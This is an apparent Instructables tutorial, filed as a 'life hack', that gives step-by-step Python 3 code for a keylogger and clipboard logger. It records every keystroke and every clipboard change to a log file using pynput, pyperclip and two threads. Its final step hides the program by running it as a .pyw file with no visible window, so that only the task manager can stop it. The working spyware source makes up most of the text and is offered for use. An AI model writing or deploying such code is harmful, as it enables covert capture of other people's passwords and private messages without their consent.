KeyClip: a Keylogger & Clipboard Logger With Python3 in 3 Minutes
by PlutonianFairy in Living > Life Hacks
1781 Views, 2 Favorites, 0 Comments
KeyClip: a Keylogger & Clipboard Logger With Python3 in 3 Minutes
This instructable will teach you how to make a simple key/clipboard logger in python 3.
The clipboard text will be preceded by 'Clip: '.
The keys will be preceded by 'Key: '.
Import Necessary Packages
You will need to install pynput and pyperclip before you can import them.
We will use the keyboard module from pynput to listen to keystrokes, and the paste function from pyperclip to read the clipboard.
from pynput.keyboard import Listener
from pyperclip import paste import logging from time import sleep import threading
The logging module will make the log files.
Threading is used to run the keylogger and the clipboard logger as two individual threads.
Configuring the Logger
logging.basicConfig(filename='KeyClip.log', level=logging.INFO, format='%(asctime)s: %(message)s')
If you want to store the log files in another directory, add it in front of the 'KeyClip.log' in the file name.
e.g:
filename = "c://Users//tom//Desktop//logs" + "KeyClip.log"
The KeyLogger
def onPress(key):
logging.info('Key: ' + str(key))
def keyLogger(): with Listener(on_press=onPress) as l: l.join()
The Clipboard Logger
def clipLogger(): prevClip = '' while True: clip = paste() if prevClip != clip: logging.info('Clip: '+ clip) prevClip = clip sleep(0.2)
*The sleep function is used to limit the frequency of the while loop.
Threading
keyThread = threading.Thread(target=keyLogger) clipThread = threading.Thread(target=clipLogger) keyThread.start() clipThread.start()
Downloads
Removing the Terminal
Change the python file's extension to .pyw instead of .py to remove the terminal that pops up every time you run it. To close the logger, you will need to use the task manager tho.